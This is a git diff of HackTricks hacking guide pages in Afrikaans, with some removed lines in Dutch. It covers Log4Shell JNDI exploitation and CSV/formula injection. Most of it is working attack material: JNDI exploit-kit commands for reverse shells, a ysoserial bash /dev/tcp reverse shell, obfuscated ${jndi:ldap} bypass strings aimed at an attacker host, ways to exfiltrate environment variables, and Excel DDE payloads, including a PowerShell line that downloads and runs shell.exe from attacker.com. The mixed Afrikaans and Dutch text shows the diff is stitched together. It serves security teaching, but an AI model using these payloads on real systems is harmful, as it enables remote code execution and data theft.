Jy kan die URL's genereer om aan die slagoffer te stuur deur te hardloop:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||
|
@ -297,18 +302,18 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die **THM-sonkamer**. Dit sal egter nie algemeen werk nie (aangesien Java nie standaard gekonfigureer is om afgeleë kodebasisse met LDAP te laai nie) omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie._
|
||||
_Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die **THM solar room**. Dit sal egter nie gewoonlik werk nie (aangesien Java nie standaard gekonfigureer is om afgeleë kodebasisse met LDAP te laai nie) ek dink omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie._
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Hierdie opsie is baie nuttig om **Java-weergawes aan te val wat slegs vertroude klasse vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **willekeurige kode uit te voer** (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer-java-program gebruik word sodat die uitbuiting kan werk_).
|
||||
Hierdie opsie is baie nuttig om **Java-weergawes aan te val wat gekonfigureer is om slegs spesifieke klasse te vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **willekeurige kode uit te voer** (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer Java-program gebruik word sodat die uitbuiting kan werk_).
|
||||
|
||||
Met behulp van **ysoserial** of [**ysoserial-gewysig**](https://github.com/pimps/ysoserial-modified) kan jy die deserialisasie-uitbuiting skep wat deur JNDI afgelaai sal word:
|
||||
Deur **ysoserial** of [**ysoserial-aangepas**](https://github.com/pimps/ysoserial-modified) te gebruik, kan jy die deserialisasie-uitbuiting skep wat deur JNDI afgelaai sal word:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
Gebruik [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) om **JNDI-skakels** te genereer waar die aanval wag vir verbinding vanaf die kwesbare masjiene. Jy kan verskillende aanvalle bedien wat outomaties gegenereer word deur die JNDI-Exploit-Kit of selfs jou **eie deserialisasie-payloads** (deur jou of ysoserial) gegenereer.
|
||||
Gebruik [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) om **JNDI-skakels** te genereer waar die aanval wag vir verbindings vanaf die kwesbare masjiene. Jy kan **verskillende aanvalle wat outomaties gegenereer kan word** deur die JNDI-Exploit-Kit of selfs jou **eie deserialisasie-pakkette** (deur jou gegenereer of ysoserial) bedien.
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
|
@ -316,7 +321,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
|
|||
|
||||
Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid uit te buit en 'n **omgekeerde dop** te verkry deur dit na 'n kwesbare weergawe van log4j te stuur: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Oorbruggings
|
||||
### Oorskrydings
|
||||
```java
|
||||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||||
|
@ -341,78 +346,77 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
### Laboratoriums om te toets
|
||||
|
||||
* [**LogForge HTB-masjien**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**LogForge HTB masjien**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar-kamer**](https://tryhackme.com/room/solar)
|
||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
## Post-Log4Shell Uitbuiting
|
||||
## Na-Log4Shell Uitbuiting
|
||||
|
||||
In hierdie [**CTF-skryfstuk**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) word goed verduidelik hoe dit potensieel **moontlik** is om sommige kenmerke van **Log4J** te **misbruik**.
|
||||
In hierdie [**CTF skryfstuk**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) word goed verduidelik hoe dit potensieel **moontlik** is om sekere kenmerke van **Log4J** te **misbruik**.
|
||||
|
||||
Die [**sekuriteitsbladsy**](https://logging.apache.org/log4j/2.x/security.html) van Log4j het 'n paar interessante sinne:
|
||||
|
||||
> Vanaf weergawe 2.16.0 (vir Java 8) is die **boodskapopsoekfunksie heeltemal verwyder**. **Opsoekfunksies in konfigurasie werk nog steeds**. Verder deaktiveer Log4j nou toegang tot JNDI standaard. JNDI-opsoekfunksies in konfigurasie moet nou eksplisiet geaktiveer word.
|
||||
> Vanaf weergawe 2.16.0 (vir Java 8) is die **boodskapopsoekfunksie heeltemal verwyder**. **Opsoeke in konfigurasie werk nog steeds**. Verder, Log4j skakel nou toegang tot JNDI standaard af. JNDI-opsoeke in konfigurasie moet nou eksplisiet geaktiveer word.
|
||||
|
||||
> Vanaf weergawe 2.17.0 (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), **word slegs opsoekreekse in konfigurasie rekursief uitgebrei**; in enige ander gebruik, word slegs die topvlak-opsoek opgelos, en enige geneste opsoeke word nie opgelos nie.
|
||||
> Vanaf weergawe 2.17.0 (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), **word slegs opsoekreekse in konfigurasie rekursief uitgebrei**; in enige ander gebruik, word slegs die boonste vlak van opsoek opgelos, en enige geneste opsoeke word nie opgelos nie.
|
||||
|
||||
Dit beteken dat jy standaard enige `jndi`-uitbuiting kan **vergeet**. Verder moet jy hulle eksplisiet konfigureer om **rekursiewe opsoeke** uit te voer.
|
||||
Dit beteken dat jy standaard enige `jndi`-uitbuiting kan **vergeet**. Verder, om **rekursiewe opsoek** uit te voer, moet jy dit geaktiveer hê.
|
||||
|
||||
Byvoorbeeld, in daardie CTF was dit gekonfigureer in die lêer log4j2.xml:
|
||||
Byvoorbeeld, in daardie CTF was dit so gekonfigureer in die lêer log4j2.xml:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
</PatternLayout>
|
||||
</Console>
|
||||
```
|
||||
### Env Opsoek
|
||||
### Omgewingsopsoekinge
|
||||
|
||||
In [hierdie CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) het die aanvaller die waarde van `${sys:cmd}` beheer en moes die vlag uit 'n omgewingsveranderlike eksfiltreer.\
|
||||
Soos gesien op hierdie bladsy in [**vorige payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om toegang tot omgewingsveranderlikes te verkry, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag dalk nie in ander werklike scenarios wees nie.
|
||||
Soos gesien op hierdie bladsy in [**vorige ladinge**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskeie maniere om toegang tot omgewingsveranderlikes te verkry, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag dalk in ander werklike scenarios nuttig wees.
|
||||
|
||||
### Eksfiltrering in Uitsonderings
|
||||
|
||||
In die CTF kon jy nie die stderr van die Java-toepassing gebruik nie, maar Log4J **uitsonderings word na stdout gestuur**, wat in die Python-toepassing gedruk is. Dit beteken dat deur 'n uitsondering te veroorsaak, kon ons die inhoud verkry. 'n Uitsondering om die vlag te eksfiltreer was: **`${java:${env:FLAG}}`.** Dit werk omdat **`${java:CTF{blahblah}}`** nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:
|
||||
In die CTF kon jy **nie toegang kry tot die stderr** van die Java-toepassing deur log4J te gebruik nie, maar Log4J **uitsonderings word na stdout gestuur**, wat in die Python-toepassing gedruk is. Dit beteken dat deur 'n uitsondering te veroorsaak, kon ons die inhoud verkry. 'n Uitsondering om die vlag te eksfiltreer was: **`${java:${env:FLAG}}`.** Dit werk omdat **`${java:CTF{blahblah}}`** nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### Omskakelingspatrone Uitsonderings
|
||||
|
||||
Net om dit te noem, jy kon ook nuwe [**omskakelingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings veroorsaak wat na `stdout` gelog word. Byvoorbeeld:
|
||||
Net om dit te noem, kon jy ook nuwe [**omskakelingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings veroorsaak wat na `stdout` gelog word. Byvoorbeeld:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||
|
||||
Dit was nie nuttig bevind om data binne die foutboodskap te eksfiltreer nie, omdat die opsoek nie voor die omskakelingspatroon opgelos is nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
|
||||
Dit was nie nuttig bevind om datum binne die foutboodskap te eksfiltreer nie, omdat die opsoek nie opgelos was voor die omskakelingspatroon nie, maar dit kon nuttig wees vir ander dinge soos opsporing.
|
||||
|
||||
### Omskakelingspatrone Regexes
|
||||
|
||||
Dit is egter moontlik om sommige **omskakelingspatrone wat regexes ondersteun** te gebruik om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en **binêre soek** of **tyd-gebaseerde** gedrag te misbruik.
|
||||
Dit is egter moontlik om van sommige **omskakelingspatrone wat regexes ondersteun** gebruik te maak om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en **binêre soek** of **tyd-gebaseerde** gedrag te misbruik.
|
||||
|
||||
* **Binêre soek via uitsonderingsboodskappe**
|
||||
|
||||
Die omskakelingspatroon **`%replace`** kan gebruik word om **inhoud** van 'n **string** te **vervang**, selfs deur **regexes** te gebruik. Dit werk soos volg: `replace{pattern}{regex}{substitution}`\
|
||||
Deur hierdie gedrag te misbruik, kan jy 'n vervanging **'n uitsondering laat veroorsaak as die regex enige iets binne die string pas** (en geen uitsondering as dit nie gevind word nie) soos hierdie voorbeeld:
|
||||
Die omskakelingspatroon **`%replace`** kan gebruik word om **inhoud** van 'n **string** te **vervang** selfs deur **regexes** te gebruik. Dit werk so: `replace{pattern}{regex}{substitution}`\
|
||||
Deur hierdie gedrag te misbruik, kan jy vervanging **'n uitsondering laat veroorsaak as die regex enige iets binne die string pas** (en geen uitsondering as dit nie gevind is nie) soos hier:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||||
```
|
||||
* **Tydgebase**
|
||||
* **Tyd-gebaseerd**
|
||||
|
||||
Soos in die vorige afdeling genoem is, ondersteun **`%vervang`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tydvertraging** te veroorsaak as die vlag gevind word.\
|
||||
Byvoorbeeld, 'n payload soos `%vervang{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sal 'n **tydvertraging** veroorsaak in daardie CTF.
|
||||
Soos in die vorige afdeling genoem is, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n lading van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyduitloop** te veroorsaak as die vlag gevind word.\
|
||||
Byvoorbeeld, 'n lading soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sou 'n **tyduitloop** in daardie CTF veroorsaak.
|
||||
|
||||
In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is daar in plaas van 'n ReDoS-aanval 'n **versterkingsaanval** gebruik om 'n tydverskil in die respons te veroorsaak:
|
||||
In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is daar in plaas van 'n ReDoS-aanval 'n **amplifikasie-aanval** gebruik om 'n tydverskil in die respons te veroorsaak:
|
||||
|
||||
> ```
|
||||
> /%vervang{
|
||||
> %vervang{
|
||||
> %vervang{
|
||||
> %vervang{
|
||||
> %vervang{
|
||||
> %vervang{
|
||||
> %vervang{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
|
||||
> }{#}{######################################################}
|
||||
> /%replace{
|
||||
> %replace{
|
||||
> %replace{
|
||||
> %replace{
|
||||
> %replace{
|
||||
> %replace{
|
||||
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
|
@ -422,9 +426,9 @@ In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> As die vlag met `flagGuess` begin, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elkeen van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer herhaal**, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
|
||||
> As die vlag met `flagGuess` begin, word die hele vlag met 29 `#`-s vervang (ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elkeen van die resulterende 29 `#`-s word dan met 54 `#`-s vervang**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> Om soveel `#`-s te vervang, sal die 10-sekonde tydvertraging van die Flask-toepassing geaktiveer word, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat na die gebruiker gestuur word. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500 statuskode ontvang)
|
||||
> Om soveel `#`-s te vervang, sal die 10-sekondetyduitloop van die Flask-toepassing geaktiveer word, wat op sy beurt tot die stuur van die HTTP-statuskode 500 aan die gebruiker sal lei. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500-statuskode ontvang)
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -437,23 +441,16 @@ In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder hou jou aanvalsoppervlak dop, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,38 +1,30 @@
|
|||
# Formule/CSV/Doc/LaTeX/GhostScript-injectie
|
||||
# Formule/CSV/Doc/LaTeX/GhostScript Inspruiting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## Formule Inspruiting
|
||||
|
||||
Vind kwetsbaarheden die het belangrijkst zijn, zodat je ze sneller kunt oplossen. Intruder volgt je aanvalsoppervlak, voert proactieve bedreigingsscans uit en vindt problemen in je hele technologiestack, van API's tot web-apps en cloudsystemen. [**Probeer het vandaag nog gratis**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks).
|
||||
### Inligting
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Formule-injectie
|
||||
|
||||
### Info
|
||||
|
||||
Als je **invoer** wordt **weerspiegeld** in **CSV-bestanden** (of een ander bestand dat waarschijnlijk wordt geopend door **Excel**), kun je mogelijk Excel-**formules** invoegen die worden **uitgevoerd** wanneer de gebruiker het bestand **opent** of wanneer de gebruiker op een link **in het Excel-blad klikt**.
|
||||
As jou **inset** binne **CSV-lêers** (of enige ander lêer wat waarskynlik deur **Excel** geopen sal word) **weerspieël** word, kan jy moontlik Excel **formules** plaas wat uitgevoer sal word wanneer die gebruiker die lêer **open** of wanneer die gebruiker op 'n skakel **klik** binne die Excel-blad.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tegenwoordig **waarschuwt Excel** (meerdere keren) de **gebruiker wanneer er iets van buiten Excel wordt geladen**, om hem te beschermen tegen kwaadwillige acties. Daarom moet er speciale aandacht worden besteed aan Social Engineering bij de uiteindelijke payload.
|
||||
Tans sal **Excel waarsku** (veral kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om hom te verhoed om kwaadwillige aksies te onderneem. Daarom moet daar spesiale aandag aan sosiale ingenieurswese gegee word vir die finale lading.
|
||||
{% endhint %}
|
||||
|
||||
### [Woordenlijst](https://github.com/payloadbox/csv-injection-payloads)
|
||||
### [Woordelys](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
|
@ -43,42 +35,38 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Skakel
|
||||
|
||||
**Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek na willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).**
|
||||
**Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek aan willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).**
|
||||
|
||||
Die volgende voorbeeld is geneem vanaf [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Stel jou voor daar is 'n veiligheidsbreuk in 'n Student Record Management-stelsel wat uitgebuit word deur 'n CSV-injectie-aanval. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde wat bedoel is vir studentbesonderhede. Die aanval ontvou as volg:
|
||||
|
||||
1. **Injeksie van Kwaadwillige Lading:**
|
||||
- Die aanvaller stuur 'n vorm vir studentbesonderhede in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("<kwaadwillige_skakel>","Klik hier")`).
|
||||
- Hierdie formule is ontwerp om 'n skakel te skep, maar dit verwys na 'n kwaadwillige bediener wat deur die aanvaller beheer word.
|
||||
|
||||
2. **Uitvoer van Gekompromitteerde Data:**
|
||||
- Onderwysers, onbewus van die kompromis, gebruik die funksionaliteit van die aansoek om die data na 'n CSV-lêer uit te voer.
|
||||
- Die CSV-lêer bevat steeds die kwaadwillige lading wanneer dit geopen word. Hierdie lading verskyn as 'n kliekbare skakel in die sigblad.
|
||||
|
||||
3. **Aktivering van die Aanval:**
|
||||
- 'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede.
|
||||
- Nadat daar geklik is, word sensitiewe data (moontlik insluitend besonderhede uit die sigblad of die onderwyser se rekenaar) na die aanvaller se bediener gestuur.
|
||||
|
||||
4. **Log van die Data:**
|
||||
- Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
|
||||
- Die aanvaller kan dan hierdie data gebruik vir verskeie kwaadwillige doeleindes, wat die privaatheid en veiligheid van die studente en die instelling verder kompromitteer.
|
||||
Stel jou 'n sekuriteitsversteuring in 'n Studenterekordbestuurstelsel voor wat deur 'n CSV-inspuitingsaanval benut word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te kompromiteer. Die metode behels dat die aanvaller 'n skadelike lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde bedoel vir studentbesonderhede. Die aanval ontvou as volg:
|
||||
|
||||
1. **Inspuiting van Skadelike Lading:**
|
||||
* Die aanvaller dien 'n studentbesonderheidsvorm in, maar sluit 'n formule in wat algemeen in spredingslyste gebruik word (bv., `=HYPERLINK("<skadelike_skakel>","Klik hier")`).
|
||||
* Hierdie formule is ontwerp om 'n skakel te skep, maar dit wys na 'n skadelike bediener wat deur die aanvaller beheer word.
|
||||
2. **Uitvoer van Gekompromiteerde Data:**
|
||||
* Onderwysers, onbewus van die kompromis, gebruik die funksionaliteit van die aansoek om die data na 'n CSV-lêer uit te voer.
|
||||
* Wanneer die CSV-lêer oopgemaak word, bevat dit steeds die skadelike lading. Hierdie lading verskyn as 'n kliekbare skakel in die spredingslys.
|
||||
3. **Aanval Aktiveer:**
|
||||
* 'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede.
|
||||
* Na kliek, word sensitiewe data (moontlik insluitend besonderhede uit die spredingslys of die onderwyser se rekenaar) na die aanvaller se bediener gestuur.
|
||||
4. **Data Log:**
|
||||
* Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
|
||||
* Die aanvaller kan dan hierdie data vir verskeie skadelike doeleindes gebruik, wat die privaatheid en veiligheid van die studente en die instelling verder kompromiteer.
|
||||
|
||||
### RCE
|
||||
|
||||
**Kyk na die [oorspronklike pos](https://notsosecure.com/data-exfiltration-formula-injection-part1) vir verdere besonderhede.**
|
||||
**Kyk na die** [**oorspronklike pos**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **vir verdere besonderhede.**
|
||||
|
||||
In spesifieke konfigurasies of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) uitgebuit word om arbitrêre opdragte uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:
|
||||
In spesifieke opsette of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) benut word om willekeurige bevele uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:
|
||||
|
||||
- Navigeer na Lêer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer **Dinamiese Data-uitruilbediener-lancering**.
|
||||
* Navigeer na Lêer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer **Dinamiese Data-uitruilbedieneraanvang**.
|
||||
|
||||
Wanneer 'n sigblad met die kwaadwillige lading geopen word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaar-toepassing te begin, sal die lading wees:
|
||||
Wanneer 'n spredingslys met die skadelike lading oopgemaak word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaarprogram te begin, sou die lading wees:
|
||||
```markdown
|
||||
`=cmd|' /C calc'!xxx`
|
||||
```
|
||||
Bykomende opdragte kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lêer met behulp van PowerShell:
|
||||
Addisionele bevele kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lêer met behulp van PowerShell:
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
|
@ -86,37 +74,36 @@ Bykomende opdragte kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lê
|
|||
|
||||
LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data uit te voer. Hier is 'n paar metodes:
|
||||
|
||||
- Lees die eerste lyn van die plaaslike `/etc/passwd` lêer: `='file:///etc/passwd'#$passwd.A1`
|
||||
